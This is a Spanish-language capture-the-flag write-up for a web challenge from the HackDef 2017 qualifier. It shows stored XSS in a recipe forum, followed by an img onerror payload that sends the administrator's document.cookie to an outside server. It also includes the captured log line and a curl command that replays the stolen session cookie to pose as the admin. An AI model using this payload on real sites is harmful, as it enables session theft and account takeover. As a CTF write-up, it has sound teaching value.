HackDef 2017 Quals Round - Web 200

By CaptureTh3Funk - IPN ESIME Culhuacan

 Al abrir la página web se observa un tipo de foro donde se pueden agregar recetas de cocinas y el administrador de la página accederá a verlas frecuentemente.

Con esa pista se entiende que si la aplicación es vulnerable a XSS, será posible robarse la cookie del administrador, ya que visitará nuestra receta.

Se creó una receta de prueba y se agregó el script <script>alert(“”)</script>, una vez que se accedió a verla, se observó una ventana de alerta en el navegador, lo que comprobó que la aplicación web es vulnerable a Cross-Site-Scripting (XSS):




Con una vulnerabilidad XSS es posible robarse las cookies de la persona que visita. Esto es posible de realizar porque cualquiera que vea la página (en este caso la receta con nuestro script insertado) inadvertidamente enviará su información de sesión, incluida la cookie.

Como nos encontrábamos en un escenario con una aplicación web en un servidor público, se necesitó de otro servidor web público que pudiera comunicarse directamente con la aplicación vulnerable.
Además de lo anterior, para leer la cookie del solicitante, se utilizó la propiedad "document.cookie" de javascipt, en donde se redireccionó la petición al servidor público y así obtener la cookie del administrador (o cualquiera que visitara nuestra receta con el script malicioso)

Para cumplir con todo lo anterior, se armó un nuevo payload que se insertó como una nueva receta en la aplicación web vulnerable. El payload insertado quedó de la siguiente manera:


<img src=x onerror=location.href=("http://x.x.x.x/test.php?c="+document.cookie)>


(Otra vez, por la emoción olvidamos tomar una screenshot, pero ese payload se agregó como receta en la aplicación web :D)

Después de esperar un momento una vez que se insertó nuestro payload malicioso como receta, en los logs de nuestro servidor web público se observó la petición del administrador, en donde se pudieron observar diversos datos como la IP de la víctima, el navegador que utilizó, la hora en la que realizó la petición, pero la más importante, el valor de la cookie (session) que tenía asignada al momento de realizar la petición:

76.247.176.39 - - [19/Aug/2017:18:39:34 +0000] "GET /test.php?c=session=.eJwly0EKwjAQRuGryKybYNugSVcuxUvI1PmbRpoE1MGFeHcDbh_v-xAyp40mute12LddOeda5KTPW2QLUepoqzFCrqnQ9HooOiqc0cilkd35D9qmmqTVcfHcDyOM4DAYB3YmHBc2e5nnADgffE_fH63DJoE.C00TbQ.0VErP-K-k-NOI8nXVMHFVREEpwI HTTP/1.1" 404 502 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0”

Después de obtener la tan esperada cookie, fue momento de engañar a la aplicación web vulnerable haciendo creer que nosotros éramos el administrador. Para lograr esto se realizó una petición enviando como cookie el parámetro session y el valor que obtuvimos con XSS. Al final el servidor  respondió con un "Bien hecho!!!!” Y el valor de la bandera:

root@kali:~# curl -v --cookie "session=.eJwly0EKwjAQRuGryKybYNugSVcuxUvI1PmbRpoE1MGFeHcDbh_v-xAyp40mute12LddOeda5KTPW2QLUepoqzFCrqnQ9HooOiqc0cilkd35D9qmmqTVcfHcDyOM4DAYB3YmHBc2e5nnADgffE_fH63DJoE.C00TbQ.0VErP-K-k-NOI8nXVMHFVREEpwI" https://bellatrix.xxxx.ipn.mx/var/www/html/admin/flag_flavored_cookies.admin.php -k


 
*   Trying 148.204.217.197...
…SNIP…
> GET /var/www/html/admin/flag_flavored_cookies.admin.php HTTP/1.1
> Host: bellatrix.esimecu.ipn.mx
> User-Agent: curl/7.52.1
> Accept: */*
> Cookie: session=.eJwly0EKwjAQRuGryKybYNugSVcuxUvI1PmbRpoE1MGFeHcDbh_v-xAyp40mute12LddOeda5KTPW2QLUepoqzFCrqnQ9HooOiqc0cilkd35D9qmmqTVcfHcDyOM4DAYB3YmHBc2e5nnADgffE_fH63DJoE.C00TbQ.0VErP-K-k-NOI8nXVMHFVREEpwI
>
< HTTP/1.1 200 OK
< Date: Sat, 19 Aug 2017 19:10:31 GMT
< Server: Apache/2.4.10 (Debian)
< Vary: Accept-Encoding
< Content-Length: 1541
< Content-Type: text/html; charset=UTF-8
<
<html>
    <head>
        <title>M3x1c4n Cookies&trade;</title>
        <style type="text/css">

…SNIP…
            <h2> Flag flavored Cookies </h2>

            <p>
            Bien hecho!!!!
            </p>

            <pre style="text-align: center; font-size: x-large;">flag{M3x1c4n_Cookies_is_really_delicious_yum_yum!!}</pre>
…SNIP…
 

Comments